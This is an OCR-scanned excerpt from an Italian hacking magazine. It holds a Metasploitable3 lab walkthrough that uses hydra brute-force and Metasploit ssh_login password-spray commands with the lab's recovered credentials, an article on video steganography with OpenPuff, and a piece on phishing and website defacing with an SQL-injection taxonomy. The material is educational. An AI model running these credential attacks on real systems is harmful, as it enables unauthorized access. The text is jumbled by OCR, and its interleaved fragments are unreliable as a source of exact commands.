[figura #8]: abbiamo trovato
una coppia di credenziali
valide! Stiamo parlando delle
credenziali (vagrant, vagrant),
che pero - presentando una
password coincidente con il
nome utente - sono frutto del
ricorso all'opzione -e nsr
appena illustrata. Stando cosi
le cose, dobbiamo concludere
che la wordlist utilizzata non
ha portato ad alcun risultato:
vale la pena effettuare almeno

Mettere mano alla confi

U na volta installate le VM, abbiamo bisogno di
configurarne gli indirizzi di rete. A tal fine, se non si
vuole ricorrere a tool aggiuntivi (tenuto conto che in un

ourazione di rete

169.254.161.202, nel vostro potrebbe differire), spostiamoci
sulla VM Kali per completare la configurazione di rete,
secondo i seguenti step:

penetration test gli indirizzi IP da verificare sono
generalmente ben indicati, in quanto concorrono a
identificare univocamente le macchine rientranti nello
scope della verifica), possiamo procedere a:

* Awviare la VM Metasploitable3;

+ Selezionare la relativa finestra e attendere che termini il
processo di boot;

* Posizionare il mouse sull'icona di rete posta nell'angolo in
basso a destra della suddetta finestra, e attendere qualche
istante che lindirizzo IP della macchina sia visualizzato.
Una volta noto l'indirizzo (nel nostro caso e

+ Assegnazione di un indirizzo IP nellambito della medesima
rete locale di Metasploitable3, con il comando
#sudo ifconfig eth® 169.254.161.10/24

« Verifica della connettivita tra le VM, con il comando:
# ping 169.254.161.202

+ Assegnazione del nome mnemonico metasploitable3 alla
VM Metasploitable, eseguendo il comando:

# sudo echo “169.254.161.202 metasploitable3” >> /
etc/hosts
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Anche se non abbiamo compromesso ulteriori account, in questo

momento disponiamo di due sessioni attive verso la macchina

target, una delle quali - peraltro - con privilegi di amministratore.

un secondo tentativo,
adoperando un dizionario piu
ampio per incrementare le
nostre chance di successo.
Visto che per i nomi utenti la
strategia ha funzionato,
proviamo a optare per una
wordlist delle password piu
diffuse in ambiente Unix:
/usr/share/wordlists/

metasploit/unix_passwords.

txt, che vanta oltre 1.000

potenziali candidati.
I comando per eseguire il
nuovo attacco é:

# hydra -L usernamePT.txt -e
nsr -P /usr/share/wordlists/
metasploit/unix_passwords.txt

metasploitable3 -s 22 ssh -t 32

e ci porta alla compromissione
di un altro account: addirittura
I'account Administrator, che

peraltro ha la stessa password
del precedente, ovvero vagrant
[figura #9].

ANCORA METASPLOIT

A questo punto potremmo
raffinare ulteriormente I'attacco
provando a utilizzare una terza
wordlist... oppure lasciare a voi
guesto esperimento, e virare su
un altro tipo di attacco. Se infatti
la password vagrant é cosi
quotata da essere adoperata da
ben due utenti, non € illogico che
possa essere stata scelta anche
da altri... Per verificare se sia cosi,
dobbiamo eseguire il cosiddetto
password spray attack,
provando a sottoporre la
medesima password (vagrant, per
'appunto) a tutti gli username
enumerati nelle puntate
precedenti. Possiamo affidare
questo compito a Metasploit e al
suo modulo ssh_login

questo sconosciuto!

Euno dei piu noti framework per il penetration test, se non
il pit utilizzato al mondo (secondo quanto riportato dalla
societa produttrice, Rapid7, la medesima della VM
Metasploitable).

Si tratta di un tool in grado non solo di verificare il livello di
sicurezza di sistemi operativi, apparati di rete e web
application, ma anche di fornire ai suoi utilizzatori un pletora
di strumenti in grado di spaziare dalla network discovery
allindividuazione e al successivo sfruttamento di vulnerabilita
note, sino all'esecuzione di attacchi di ingegneria sociale. Il
tutto potendo contare su un database di exploit (oltre 1.500)
costantemente manutenuto e, soprattutto, sempre
aggiornato.

Come se non bastasse, Metasploit dispone di una versione,
“Metasploit Framework”, rilasciata gratuitamente da Rapid7
come software libero e non a caso inclusa nativamente
allinterno della distribuzione Kali Linux che utilizziamo per
per il nostro pentest. Come visto nella scorsa puntata, prima
di avwiare Metasploit per la prima volta € opportuno
effettuare alcune piccole attivita propedeutiche volte ad
assicurare la corretta configurazione del relativo database
interno:

+ Awviare il servizio postgresql, a cui si deve la gestione del

> 30

citato database, con il comando:

# sudo systemctl start postgresql

* Inizializzare il database per il primo utilizzo, grazie a msfdb:

# sudo msfdb init

Una volta completate queste operazioni, possiamo:
* Awiare Metasploit, con il comando:

# msfconsole

« Creare un'apposita “area di lavoro” (workspace in inglese),
che chiameremo semplicemente “metasploitable3”, ove far
confluire - salvandole in un'area dedicata del database interno
- tutte le evidenze che raccoglieremo nel corso del nostro
pentest (questa operazione va effettuata una sola volta):

msf6>workspace -a metasploitable3

* Selezionare la suddetta workspace

msf6> workspace metasploitable3

e iniziare il nostro lavoro!



METASPLOITABLE3

Pentest: cosa c'e da sa

Prima di awiare una qualsiasi attivita di pentesting/
vulnerability assessment su un'infrastruttura al di fuori del
nostro controllo e della nostra proprieta € bene ricordare
quali possano essere le conseguenze di un uso scriteriato
delle skill che apprenderete seguendoci in queste puntate.
Non possiamo infatti dimenticarci quanto prevede l'articolo
615 ter del Codice Penale: “chiunque abusivamente si introduce
in un sistema informatico o telematico protetto da misure di
sicurezza owvero vi si mantiene contro la volonta espressa o
tacita di chi ha il diritto di escluderlo, é punito con la reclusione

per non rischiare!

+ Mai eseguire un penetration test (o anche solo una parte di
€ss0) su sistemi che non siano di vostra proprieta, a meno
che non si disponga di un permesso da parte di tutti i
proprietari dellinfrastruttura da testare;

* Richiedere che tale permesso sia esplicitato in forma scritta
attraverso la cosiddetta manleva, ovwvero un documento
formale che stabilisce le “regole d'ingaggio” per il pentester,
chiarendo l'altro quali siano i sistemi da verificare, il tipo di
test effettuare e i vincoli a cui attenersi nellesecuzione della
verifica di sicurezza.

fino a tre anni”. In qualita di penetration tester, potremmo

rischiare di ritrovarci accusati di aver effettuato un accesso
abusivo a un sistema informatico, se - pur agendo in buona
fede - non provvediamo a seguire alcune regole basilari:

[figura #10]: si tratta di un tool
molto potente, in grado di
eseguire tanto un semplice login
SSH quanto di condurre diversi
attacchi a questo tipo di
autenticazione... incluso il
password spray attack di cui
abbiamo bisogno!

MODULO SSH_LOGIN
Torniamo alla schermata del
framework e carichiamo il
modulo con il comando:

msf6> use scanner/ssh/ssh_login

quindi preoccupiamoci di
impostare correttamente le
variabili che ci consentiranno di
condurre l'attacco. Per i nostri
scopi e sufficiente impostare -
oltre al target, I'elenco degli
utenti enumerati e il valore della
password da provare per
ciascun utente [figura #11]:

msf6> set RHOSTS
metasploitable3

msf6> set USER_FILE /home/
garrick/metasploitable3/
usernamePT.txt

uxiliary(
entials

host
tR Format

ioura #13

private realm private_type J

Password

A seguito dell'esecuzione del modulo ssh_login e dell'effettiva

compromissione di due account, Metasploit aggiorna

automaticamente l'elenco delle credenziali scoperte, associando
la password “vagrant” ai rispettivi account, come ci mostra l'output

del comando “creds”

Agli occhi della legge, & proprio la manleva (e il rispetto dei
relativi termini) a distinguere un signor professionista (ovvero
il pentester) da un volgare pirata informatico...

msf6> set PASSWORD vagrant

quindi avviare il modulo con il
seguente comando:

msf6>run

Contrariamente alle aspettative,
il risultato non ci premia con
ulteriori account compromessi:
ma in compenso, abbiamo
adesso [figura #12] due sessioni
SSH aperte verso la macchina
target, una con l'account
Administrator (e quindi con
privilegi di amministratore!) e
una con l'account vagrant. Come
se non bastasse, Metasploit ha
provveduto ad aggiornare
automaticamente il database
delle credenziali, associando la
password vagrant agli account
compromessi: ne possiamo
avere la prova eseguendo
nuovamente il comando:

msf6> creds

Un bel risultato [figura #13],
non c'é che dire... e un‘arma in
pit da utilizzare nel prosieguo
del nostro pentest!
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a continua evoluzione
tecnologica ha imposto lo
sviluppo e I'avanzamento di
determinate tecnologie che
hanno portato, in pochi anni, alla
produzione di dispositivi di
storage sempre piu capienti e, in
proporzione, meno costosi, a un
netto miglioramento delle
capacita delle videocamere anche
per le “entry-level” e a sensori
sempre piu performanti a costi
contenuti. Lo scenario riportato
ha incrementato
esponenzialmente 'ammontare
dei dati trasferiti via rete o cavo e
di riflesso negli appositi dispositivi
di memorizzazione (hard disk,
flash USB ecc.) tipicamente
informazioni sensibili come dati
personali, immagini, informazioni
medicali, dettagli bancari e
videoriprese pubbliche e/o private.

E LASICUREZZA?
Argomenti di ricerca fin dalla
nascita delle comunicazioni
digitali (sebbene la steganografia
non risulti essere tanto recente,
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Come nascondere informazion '
binari allinterno di uno 0 pili video, |

compresso. Magia della steg

zioni test

anografia

visto che storicamente risale a
oltre 2.000 anni fa), le tecniche
per nascondere informazioni
possono essere utilizzate per
mitigarne gli attacchi informatici,
fornendo proprieta di sicurezza,
privacy, confidenzialita e integrita
dei dati. | due aspetti piu
importanti di un algoritmo
steganografico, che si tratti di un
file testo, immagini, audio o video
[figura #1], sono le proprieta che
vanno sotto il nome di
embedding payload e
embedding efficiency.
L'embedding payload indica la
quantita di dati che possono

figura #1
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essere nascosti all'interno del file
cover mentre per embedding
efficiency si intende la capacita
dell'algoritmo di steganografia di
nascondere quante piu
informazioni sensibili senza
creare distorsioni apprezzabile al
file cover (impercettibilita).

UN PO’ DI TEORIA

Ulteriori caratteristiche richieste
alla video-steganografia, cosi
come a qualsiasi altro metodo
steganografico, vedono la
sicurezza e la robustezza anche
dal punto di vista della
compressione dei dati intesa

qguattro



come la capacita di non perdere
le informazioni che celano in
seguito a una compressione del
file stego, di qualsiasi tipo e a
qualsiasi formato ci si riferisca.
Va da sé come occorra accettare
sempre un compromesso tra la
sicurezza, la robustezza e la
capacita di nascondere dati
senza creare artefatti audiovisivi
che potrebbero far sorgere
qualche sospetto.

FRAME PER SECONDO
Nella sua forma piu intuitiva e
possibile considerare un video
come un insieme di immagini
statiche (frame) prese in istanti
temporali differenti. Quando
vengono mandate in esecuzione
una dopo l'altra ne risulta il tipico
movimento da pellicola
cinematografica. Per evitare
“movimenti a scatto” e avere una
buona fluidita il minimo numero
di frame necessari in un secondo
non dovrebbe scendere sotto i
25 owvero, nella nostra analogia,
considerando una persona che
cammina, al soggetto deve
essere fatta una fotografia ogni
1/25 secondo (40 millisecondi).
Va da sé che se il numero di
frame e paria30(33ms a
quadro) o a 60 (16,7ms a quadro)
i movimenti diventano sempre
pit armoniosi e realistici, di
contro c'@ il numero di
fotogrammi che passa, ad
esempio in un tempo di soli 60
secondi, dai 1.500 nel caso di
25fps (frame per secondo) ai
1.800 per 30fps per arrivare ai
3.600 per 60fps. Se da un lato si
migliora la realta del movimento
(sebbene oltre un certo limite
I'occhio umano non riesce piu a
percepirne le differenze),

STEGANOGRAFIA VIDEO

GLOSSARIO
DI BASE

COVER MEDIA J1§il=Xe X=ENE

informazioni riservate.
Generalmente si tratta di un video,
ma puo essere anche un file di
testo, un file pdf, immagini o file
audio nei diversi formati.

STEGO MEDIA (ki3 risultante,

completo di informazione segrete,
ottenuto dopo aver applicato
l'algoritmo di steganografia al
Cover Media.

STEGANALISI Bal=l PRI Nl [K{elo]s]e}

vede la rilevazione, previa
opportuna analisi in funzione del
formato del file, di informazioni
nascoste.

Un esempio di base di Steganalisi

e stato riportato nel numero 267
di HJ.

SPATIAL DOMAIN JIldsl{e=Xd 1=

utilizza i valori di intensita che
possono assumere i pixel nel
cover frame per nascondere i dati
segreti, ad esempio nei bit
dell'intensita del colore peri 3
colori RGB (Red-Green-Blue). Uno

dall'altro sono richieste maggiori
capacita di storage nel caso si
volesse memorizzare tutto su
hard disk o di flusso in streaming,
e quindi di banda di rete, qualora
lo si volesse trasmettere. In base
ai concetti riportati, la video
steganografia nella sua forma
basilare puo essere vista come
una sorta di “estensione” della
steganografia applicata alle
immagini. | campi di utilizzo
vanno dallo spionaggio
industriale e governativo, militare
e paramilitare, settore medicale e
multimedia. Applicazioni piu
comuni vedono la steganografia
video utilizzata per preservare la
privacy delle persone autorizzate

dei metodi pili noti & ad esempio
'LSB (Least Significant Bits).

SCRAMBLING J{=lsls[=I¢3]

indecifrabile, codificare, criptare.
Metodologie con le quali viene
manipolato un file audio/video/dati
per renderlo intellegibile.

TRANSFORM DOMAIN [o]¥[=IS )

metodo converte blocchi di
fotogrammi del file cover dal
dominio spaziale al dominio di
trasformazione cosi definito
poiché vengono applicati metodi
matematici; tra i pit usati risultano
la DWT (Discrete Wavelet
Transform), la DCT (Discrete
Cosine Transform) e loro inverse. |
dati segreti vengono incorporati
nei coefficienti della
trasformazione nei bit meno
significativi prima di eseguire la
trasformazione inversa e il
“riassemblaggio” per produrre il
file stego. Le descrizioni formali
esulano dal seguente contesto e si
rimanda gli interessati a testi
specializzati.

a entrare in un‘area riservata e
rilevate nelle sequenze video
catturate dalla telecamera di
sorveglianza; i dati dei soggetti
rilevati possono essere
incorporati nelle sequenze video.

ILDOMINIO COMPRESSO
| metodi di steganografia raw
domain considerano il Cover
Media come una sequenza di
fotogrammi all'interno dei quali
vengono nascoste le
informazioni previo uso di
diverse tecniche le quali
possono operare nel dominio
spaziale (Spatial Domain)
oppure nel dominio della
frequenza (Transform Domain);
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Dallo schema di codifica appare netta la distinzione |l e informazioni che si vogliono celare vengono

tra quello che viene definito “raw domain” (dominio

grezzo) e il "compressed domain”.

fare riferimento alle omonime
voci nei glossari. Prima
dell'inclusione l'informazione da
celare viene sottoposta a una
pre-elaborazione per I'eventuale
applicazione di un algoritmo di
cifratura e di un codice di
correzione errori al fine di
garantirne la sicurezza e
I'integrita dei dati qualora il
Cover Media subisse attacchi o
“cadute di fotogrammi” durante
la trasmissione.

La maggior parte dei metodi di
steganografia video proposti
utilizza tecniche Raw Domain
perché sono intuitivi nel principio
di funzionamento e facili da
implementare in termini di
codice da scrivere ([figura #2]

e [figura #3]). Ma se da un lato
c'e la facilita di implementazione
dall'altro c'@ il problema che
trattasi di tecniche facilmente
attaccabili in particolare dai
cosiddetti attacchi di
compressione. C'¢ in realta
anche un motivo piu pratico che
rende la video steganografia raw
domain meno utilizzabile; i video
in forma compressa sono
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preferiti per lo stoccaggio e la
trasmissione poiché e richiesto
meno spazio per la loro
archiviazione, il trasferimento via
rete e piu veloce e richiede meno
larghezza di banda. Con queste
premesse le tecniche di
occultamento dati nel dominio
compresso hanno guadagnato
inevitabilmente popolarita negli
ultimi tempi.

Di contro, provocando la
compressione, la rimozione di
elementi ridondanti riduce lo
Spazio necessario a nascondere
informazioni e in alcuni casi puo
scendere nell'ordine dei byte o
addirittura rendere il video
inadeguato a fungere come
carrier!

incorporate in uno o pit fotogrammi del video.

UN ESEMPIO
APPLICATIVO

Le nozioni riportate sono solo
una piccola parte di un mondo
dedicato alla video steganografia,
sempre in evoluzione con nuove
tecniche, migliorie di quelle
conosciute riportate nelle varie
pubblicazioni o presentate a
convegni e conferenze. La scelta
di un programma & sempre non
facile da attuare considerando
che trattasi anche di argomenti
“di nicchia” (sebbene molto
studiati) e, anche se
principalmente open source, non
Si trovano quasi mai nei
repository delle distribuzioni se
non in casi specifici.

Il programma OpenPuff

Ampliamo le conoscenze

Itre a OpenPuff suggeriamo il network gratuito ResearchGate (https://www.

researchgate.net/) dedicato a tutte le discipline scientifiche nel quale
scienziati e ricercatori condividono articoli, rispondono a quesiti e trovano
collaboratori. Inserendo nel rigo di ricerca una stringa come video
steganography verranno riportati decine e decine di risultati alcuni dei quali &
possibile consultare direttamente poiché presente 'associato documento o
pubblicazione generalmente in formato PDF.
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Linstallazione in Windows di OpenPuff non necessita di particolari
accorgimenti. E anche in GNU/Linux non comporta alcun problema

poiché & dato pienamente funzionante con WINE (https://www.winehg.
org/) e pertanto andra installato utilizzando il gestore dei pacchetti.

permette di raggiungere gli
obiettivi indicati. Noi 'abbiamo
testato su distribuzione ROSA
Linux (https://www.rosalinux.ru/)
e tutto cio che occorre fare, una
volta effettuato il download e
decompresso il file zip, & entrare
nella cartella creata dalla
decompressione cd OpenPuff_
release e lanciare il comando
wine ./OpenPuff.exe il quale
non installera nulla, lancera
direttamente il programma
[figura #4]. Lo script OpenPuff.
sh verifichera, su distribuzioni
Debian/Ubuntu e derivate, la
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presenza di Wine e procedera
eventualmente allinstallazione
per poi lanciare il programma. Lo
script Uninstall.sh se lanciato
cancellera tutta la cartella
OpenPuff_release e rimuovera
la cartella nascosta .wine nella
home utente, quindi attenzione
perché in caso vi fossero installati
dei programmi che girano in
Wine questi verrebbero
cancellati!

ALTRE FUNZIONALITA
Molto interessante la capacita di
OpenPuff di nascondere

figura#>
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OpenPuff consente di celare i dati all'interno di tipologie diverse

di cover media. In ogni momento si pud conoscere la dimensione
chei carrier dovranno nascondere.

linformazione segreta in piu file
anche di natura diversa tra loro,
ad esempio utilizzando 2 file PDF,
1 file MP3, 2 file video ecc. In
sostanza “pezzi” (chunk)
dellinformazione complessiva
verranno celati nei 2 file video,
un‘altra certa quantita nei 2 file
PDF e cosi via. L'utente per poter
recuperare linformazione dovra
essere in possesso di tutti i file;
un po’ come accade con gli
archivi compressi multipli, se non
si hanno tutti i file a partire dal
numero 1 non & possibile
recuperare l'intero contenuto.
OpenPuff oltre che
steganografico e anche un
programma multi crittografico; i
dati vengono dapprima
sottoposti a crittografia, fa
seguito un'operazione di
scrambling quindi aggiunto del
“rumore” casuale (whitening). A
dispetto di questa apparente
complessita, il suo uso & molto
intuitivo e si riduce a 4 passi
essenziali. Vediamoli in dettaglio.
Dalla schermata di [figura #4]
clicca su Hide nel pannello
Steganography per entrare nella
sezione Data Hiding [figura #5].
Nel riquadro (1) dovranno essere
inserite le password tra loro non
correlate necessarie alla
crittografia e allo scrambling.
Nel riquadro di destra (2) occorre
indicare i dati che si desiderano
nascondere utilizzando il
pulsante Browser. Nel rigo Size
verra riportata la dimensione che
il/i file carrier dovranno
nascondere. |l totale del valore
verra riportato nel riquadro (3)
Carrier Selection nel rigo in
basso Selected/Total dove
occorre aggiungere il o i carrier
che dovranno farsi carico di

35 .



1) Fpaet 3 uncomelsind pasowords Min B, Max 320

Captogeephy 14 ] [~=== (1]

Enstle[B] W 1) 7

HIXY| « Hamming distance [ ][ ) »=

gura #6

(2 Camer setection [Onder seraitve]
Hame] Sort by name / [Bypes] Sort by byes

e

1 Mowe up selected / [+] Move dosn selected / ([Del) [ elein selected

Add Cairmis I Selecied

21,69 byies

_ Ukl |

Con OpenPuff e possibile utilizzare un certo numero di carrier
con le immagini nei formati BMP, JPG, PCX, PNG e TGA, audio con

' 1 ' 1
'

supporto ad AlFF, MP3, NEXT/SUN e WAV, documenti PDF e file video

(3GP, FLV, MP4, MPG, SWF, VOB).

nascondere i dati.

Se ne dovranno aggiungere in
numero e tipologia tali da riuscire
a coprire il totale da celare.
Quando cio accadra il rigo
Selected/Total diventera verde
e sara quindi possibile passare

al riquadro (4) Bit Selection
Options per la selezione del
numero di bit da utilizzarsi
(tecnica LSB). Puo sorprendere la
bassa capacita di
immagazzinamento deij file video,
ma se si vuole avere maggiore
sicurezza e piu impercettibilita va
da sé che deve ridursi I'entita di

Cio che andra ad alterare il file e
che potrebbe destare qualche
sospetto. A titolo di esempio, in
un file VOB di circa 40MB &
possibile nascondere poco meno
di 7KB impostando il massimo
numero di bit %2 (50%) in Bit
Selection Options. Al termine
click sul pulsante Hide Data in
basso a destra indicando il
percorso di salvataggio dove
dovranno essere salvati i file
stego. Per il recupero dalla
schermata di [figura #4] optare
per Unhide nel pannello
Steganography.

Il confronto: a sinistra 2 file originali, 2 stego destra

e al centro l'informazione nascosta.
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Occorre rispettare 3 regole
fondamentali: inserire
correttamente le password (A
con A, Bcon B e Ccon (),
rispettare I'ordine dei carrier in
fase di implementazione
(colonna Chain Order)
aggiungendo i file stego uno
dopo l'altro in base all'ordine di
implementazione originale e
infine rispettare 'esatta selezione
in Bit Selection Options ai valori
originali per ogni singolo formato
di file utilizzato come carrier e
infine indicando il percorso di
salvataggio [figura #6].

In [figura #7] il confronto tra 2
dei 4 file originali utilizzati dal
programma e i rispettivi file
stego. Essendo dei video una
fotografia non rende l'idea, gli
interessati non possono che
provare la procedura e
constatare loro stessi il risultato.
Il software & sviluppato da un
ingegnere italiano, quindi si hail
manuale (anche) in questa lingua,
che suggeriamo di leggere poiché
entra nel vivo del principio di
funzionamento del programma e
dal punto di vista della
crittografia cosi come su alcuni
concetti di steganografia e
stagnalisi. In pit raccomandiamo
di visitare il sito di OpenPuff
poiché presenta nella pagina del
software una vera e propria
miniera di informazioni, articoli,
pubblicazioni, video, letture, tesi
e svariati esempi applicativi
sullargomento (leggere anche il
Box di pagina 34 “Ampliamo le
conoscenze”). Al solito in caso di
comunicazioni, suggerimenti,
prove e quant'altro si puo
sempre fare riferimento al forum
di HJ (https://hackerjournal.it/

forum/).
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PHISHING E DEFACING

oje e tecniche di phishing

hishing e-Mail: & la piu tradizionale delle tecniche di

phishing, in cui I'attaccante utilizza tecniche di social
engineering per ingannare la vittima. Il vettore d'attacco e
rappresentato da una email fasulla contenente un link
malevolo su cui la vittima, ignara del pericolo, e portata a
cliccare.
Spoofed WebSite: conosciuto anche come Phishing
Website. L'attaccante plasma un sito falso (fake)
clonandone uno lecito. La vittima che clicca sul link viene
reindirizzata al sito Web malevolo (spesso molto simile
all'originale) nel quale gli vengono sottratte informazioni
sensibili, come password e username.
Phone Phishing (o vishing/SMSishing): I'attaccante
impersona, con una chiamata o un messaggio di testo,
qualcuno che la vittima conosce o ritiene attendibile, con
la finalita di compiere azioni malevole.
Social Media Phishing (Soshing): tra i canali piu utilizzati
dagli attaccanti per ottenere informazioni e raggirare le
vittime ci sono i Social Media. Per esempio, gli attaccanti
possono circuire la vittima impersonando un nuovo
contatto, oppure spingendola a visitare pagine di Social

Malware-Based Phishing: & una tipologia di phishing che
awiene attraverso l'awio di un software dannoso sulla
macchina vittima. Il software viene scaricato dall'ignaro
utente attraverso tecniche di social engineering oppure
sfruttando vulnerabilita del sistema.

DNS Phishing: il Domain Name System e il metodo
utilizzato per assegnare nomi ai nodi di una rete,
“risolvendo” lindirizzo IP. Avvelenando la risoluzione dei
nomi, € possibile reindirizzare la vittima verso l'indirizzo
desiderato dall'attaccante.

Content Injection Phishing: per questo tipo di phishing
viene compromesso un sito Web attendibile per far si che
ospiti contenuti malevoli.

Man-In-The-Middle Phishing (MITM): 'attaccante si
inserisce tra le due parti di una comunicazione (per
esempio tra l'utente e il sito Web legittimo) cercando di
ottenere informazioni intercettando le comunicazioni
della vittima.

Search Engine Phishing: anche noto come SEO Black
Hat. L'attaccante ottimizza i siti malevoli nell'ottica SEO
per indicizzarli in maniera legittima, in modo che

Media fasulle, finalizzate a estorcere informazioni

sensibili.

considerare includono:

Errori ortografici e
grammaticali: molti messaggi di
phishing contengono errori di
scrittura (grammaticali e
ortografici). Questi possono
essere un segnale diun
messaggio non autentico.
Domini sospetti: controllare
attentamente 'URL dei siti web a
Cui accedete. Domini con nomi
strani o leggermente diversi
rispetto a quelli legittimi
possono essere un segnale di un
sito di phishing.

Richieste di informazioni
sensibili: organizzazioni
affidabili evitano di chiedere dati
personali o finanziari tramite
email o messaggi. Bisogna
essere sospettosi se viene
richiesto di condividere tali
informazioni senza una valida
ragione.

Link sospetti: controllare

servizi.

attentamente i link nelle email o
sui siti web. Passare il mouse
sopra di essi senza fare clic per
visualizzare I'URL di
destinazione. Se sembra
sospetto o diverso da quello
atteso, potrebbe trattarsi di un
tentativo di phishing.

PROTEZIONE!

Per proteggersi efficacemente
dal phishing & indispensabile
seguire queste strategie di
protezione:

Educazione e consapevolezza:
mantenersi costantemente
informati sulle ultime tattiche di
phishing e condividere queste
informazioni con familiari, amici
e colleghi; offrire formazione
sulla sicurezza informatica
all'interno delle aziende e
promuovere una cultura di
attenzione e prudenza nei
confronti dei potenziali attacchi.

appaiano all'utente durante la ricerca di prodotti o

Verifica attentamente le
comunicazioni: prima di cliccare
su link o aprire allegati, verificare
attentamente la legittimita
dell’'email o del messaggio;
controllare gli indirizzi dei
mittenti, cercare errori
ortografici o grammaticali e
confrontare i link con 'URL
ufficiale dell'organizzazione.
Utilizzare software di
sicurezza: installare e
mantenere aggiornato un
software antivirus o antimalware
affidabile sul dispositivo; questi
strumenti possono aiutare a
rilevare e bloccare potenziali
minacce di phishing.

Utilizzare I'autenticazione a
due fattori (2FA) su tutti gli
account online quando possibile;
questa funzionalita aggiunge un
ulteriore strato di sicurezza
richiedendo un secondo metodo
di verifica, come un codice
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inviato tramite SMS o
un'applicazione di
autenticazione.

Verificare la sicurezza dei siti
web: prima di inserire
informazioni personali o
finanziarie su un sito web,
verificare che sia protetto
tramite il protocollo HTTPS e che
il certificato di sicurezza sia
valido; si puo fare osservando il
prefisso “https://" e il lucchetto
nella barra degli indirizzi del tuo
browser.

Segnalare gli attacchi di
phishing: comunicare sempre
gli attacchi di phishing alle
autorita competenti, come la
polizia o 'organizzazione anti-
cybercrime; inoltre, contattare
I'organizzazione legittima
coinvolta per informarla
dell'attacco.

CONCLUSIONI

Il phishing rappresenta, dunque,
una minaccia persistente nel
panorama della sicurezza
informatica. Tuttavia,
conoscendo i concetti
fondamentali, le tecniche
utilizzate dagli aggressori e le
strategie di protezione, &
possibile ridurre
significativamente il rischio di
cadere vittima di un attacco.
Bisogna ricordare sempre di
essere vigili, educare se stessi e
gli altri, e utilizzare le misure di
sicurezza consigliate per
proteggere i dati e l'identita
online.

PASSIAMO AL DEFACING
Come detto, negli ultimi anni, il
mondo ha assistito a un
crescente coinvolgimento delle
attivita informatiche, soprattutto
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nelle operazioni di guerra. L'uso
delle tecnologie digitali &
diventato uno strumento
fondamentale per la
propaganda, I'acquisizione di
informazioni e, in alcuni casi, per
I'esecuzione di attacchi mirati.
Uno degli esempi piu evidenti di
tali attivita si & verificato durante
il gia citato conflitto tra Russia e
Ucraina, in cui € emerso l'utilizzo
diffuso anche della tecnica
hacker nota come “defacing”.
Conosciuto anche come
“vandalismo digitale”, il
defacing - volendo semplificare
- prevede la modifica del
contenuto di un sito web o di
una piattaforma online senza il
permesso del proprietario.
Solitamente si utilizza per
sostituire la pagina principale di
un portale con un messaggio
personalizzato o politico, spesso

accompagnato da simboli o
immagini. L'obiettivo é attirare
I'attenzione e diffondere un
messaggio o una propaganda
specifica.

RUSSIA-UCRAINA

Durante il conflitto, il defacing &
emerso come una tecnica molto
utilizzata da entrambe le parti
coinvolte. Gruppi di hacker legati
a entrambi i Paesi hanno preso
di mira i siti web istituzionali e i
media online, sostituendo i
contenuti originali con messaggi
politici, minacce o dichiarazioni
di vittoria. Attacchi che avevano
lo scopo di influenzare I'opinione
pubblica, destabilizzare
l'immagine del nemico e creare
confusione all'interno dei
rispettivi governi.

L'uso diffuso del defacing ha
sollevato da subito numerose

Meccanismo d’attacco

'attacco di defacing si basa su diverse vulnerabilita comuni presenti nei siti

web e nelle piattaforme online. Un processo generale che gli attaccanti
compiono per eseguire un attacco € il seguente:
1. Identificazione del bersaglio: si individua il sito web o la piattaforma che
si intende attaccare. Spesso, i siti vulnerabili o quelli che hanno un alto valore
simbolico o politico diventano obiettivi primari.
2. Ricerca di vulnerabilita: si conduce una ricerca approfondita sulle
eventuali debolezze presenti nel sito web target. Cio pud includere I'analisi
delle versioni obsolete del software, delle imperfezioni nella configurazione
del server o delle possibili falle di sicurezza nei plugin e nelle estensioni
utilizzate.
3. Sfruttamento delle vulnerabilita: una volta individuata una vulnerabilita,
si sfrutta quest'ultima per ottenere I'accesso non autorizzato al sistema di
gestione del contenuto o al server che ospita il sito web. Questo puo essere
fatto utilizzando tecniche come l'iniezione di codice (per esempio, SQL
injection) o sfruttando vulnerabilita specifiche del software utilizzato.
4. Modifica del contenuto: una volta ottenuto I'accesso, si va a modificare il
contenuto del sito web. Questo puo includere la sostituzione della home
page con un messaggio personalizzato, I'inserimento di immagini, testi o
video a sostegno di una causa politica o semplicemente il vandalismo digitale.
5. Copertura delle tracce: infine, si coprono le proprie tracce eliminando i
log di accesso o modificando le registrazioni dei file di sistema. Questo rende
piu difficile per gli investigatori risalire allidentita degli attaccanti.



PHISHING E DEFACING

Classification Methods

paramelers

Techniques/

Implementation

Identifying injectable parameters

Extracting Duta

Adding or Modifying Data

Performing Denial of Service

see 'Input type of attacks'

Intent Evading detection

Bypassing Authentication

F.m:cuﬁl];_' remote commands

Performing privilege escalation

Injection through user input

Malicious strings | URL: GET- Method

in Web lorms Input filed(s): POST- Method

Injection through cookies

Maodified cookie fields containing SQLIA

Input Source

Injection through server variables

Headers are manipulated to contain SQLIA

Second-order injection

Frequency-based Primary Application

Frequency-based Secondary Application

Secondary Support Application

Cascaded Submission Application

Classic SQLIA

Piggy-Backed Queries

Tautologies

Alternate Encodings

Megal/ Logically Incorrect Queries
UNION SQLIA
Stored Procedures SQLIA

Input type of attacks.
technical aspect

Inference

Conditional Responses

Conditional Errors

Classic Blind

SQLIA Out-Of-Band Channeling

Double Blind SQLIA(Time-
Timing delays/ Benchmark attacks)
SOLIA Deep Blind SQLIA (

Multiple statements SQLIA)

DBMS specific SQLIA

DB Fingerprinting
DB Mapping

Compounded SQLIA

Fast-Fluxing SQLIA

L'SOL injection e una tecnica usata per attaccare applicazioni che
gestiscono dati mediante DB relazionali. In foto, la classificazione
dei vettori di attacchi SQL injection nel 2010.

preoccupazioni per la sicurezza
informatica. Innanzitutto, ha
evidenziato I'importanza di
proteggere adeguatamente i
siti web istituzionali e le
piattaforme online. Un attacco
di tale tipo pud danneggiare la
reputazione di
un‘organizzazione o un Paese e
causare confusione tra i
cittadini. In secondo luogo, il
defacing ha dimostrato quanto

sia facile per i gruppi hacker
manipolare e diffondere Ia
disinformazione. Questo tipo
di attacco puo infatti
influenzare l'opinione pubblica
e creare tensioni tra le nazioni
coinvolte.

CONTROMISURE

Le conseguenze di un attacco
di defacing possono essere
significative, sia per il

proprietario del sito web che
per l'opinione pubblica. Alcune
delle implicazioni pit comuni
sono: il danneggiamento
dellimmagine, vista la
compromissione della
reputazione di
un’organizzazione o di un
individuo e la percezione dei
visitatori del sito che
potrebbero intendere
I'incidente come un fallimento
nella sicurezza e nella gestione
dei dati; la propagazione della
disinformazione, dato che gli
attacchi di defacing spesso
mirano a diffondere un
messaggio politico o a
promuovere una propaganda
specifica.

E questo puo influenzare
I'opinione pubblica e creare
tensioni sociali.

Per mitigare gli attacchi di
defacing, &€ fondamentale
adottare adeguate
contromisure: aggiornamenti
